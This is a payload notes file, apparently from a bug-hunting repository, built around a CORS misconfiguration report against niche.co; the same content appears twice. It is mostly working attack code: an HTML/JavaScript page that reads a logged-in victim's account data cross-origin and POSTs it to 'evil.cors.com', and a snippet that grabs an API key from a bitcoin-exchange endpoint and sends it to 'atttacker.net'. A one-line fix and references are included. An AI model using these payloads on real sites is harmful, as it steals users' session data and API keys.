hackerhumble/cors.txt

## cors.txt
Payload: Use this payload to send XHR request to the cross domain


Description:

Basically, the application was only checking whether "//niche.co" was in the Origin header, that means i can give anything containing that. For ex : "https://niche.co.evil.net", "https://niche.com", i can even change the protocol like http, ftp, file etc. cors_1.png (F363563): cors_1.png

Steps To Reproduce:
Exploit:
Host this code on a domain(http://niche.co.evil.net) or any other that contains "//niche.co".

<html>
<body>
<button type='button' onclick='cors()'>CORS</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.cors.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://www.niche.co/api/v1/users/*******", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
As soon as victim visit this malicious page, his details will be fetched from his current session and sent to attacker's domain where it can be logged or saved. cors_3.png (F363586): cors_3.png cors_2.png (F363564): cors_2.png

How to fix
Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.

Supporting Material/References:
https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
https://ejj.io/misconfigured-cors/

=================================================================================================================================================================


var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText;
};

=================================================================================================================================================================
	Payload: Use this payload to send XHR request to the cross domain


	Description:

	Basically, the application was only checking whether "//niche.co" was in the Origin header, that means i can give anything containing that. For ex : "https://niche.co.evil.net", "https://niche.com", i can even change the protocol like http, ftp, file etc. cors_1.png (F363563): cors_1.png

	Steps To Reproduce:
	Exploit:
	Host this code on a domain(http://niche.co.evil.net) or any other that contains "//niche.co".

	<html>
	<body>
	<button type='button' onclick='cors()'>CORS</button>
	<p id='demo'></p>
	<script>
	function cors() {
	var xhttp = new XMLHttpRequest();
	xhttp.onreadystatechange = function() {
	if (this.readyState == 4 && this.status == 200) {
	var a = this.responseText; // Sensitive data from niche.co about user account
	document.getElementById("demo").innerHTML = a;
	xhttp.open("POST", "http://evil.cors.com", true);// Sending that data to Attacker's website
	xhttp.withCredentials = true;
	console.log(a);
	xhttp.send("data="+a);
	}
	};
	xhttp.open("GET", "https://www.niche.co/api/v1/users/*******", true);
	xhttp.withCredentials = true;
	xhttp.send();
	}
	</script>
	</body>
	</html>
	As soon as victim visit this malicious page, his details will be fetched from his current session and sent to attacker's domain where it can be logged or saved. cors_3.png (F363586): cors_3.png cors_2.png (F363564): cors_2.png

	How to fix
	Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.

	Supporting Material/References:
	https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
	https://ejj.io/misconfigured-cors/

	=================================================================================================================================================================


	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open('get','https://btc-exchange/api/requestApiKey',true);
	req.withCredentials = true;
	req.send();

	function reqListener() {
	location='//atttacker.net/log?key='+this.responseText;
	};

	=================================================================================================================================================================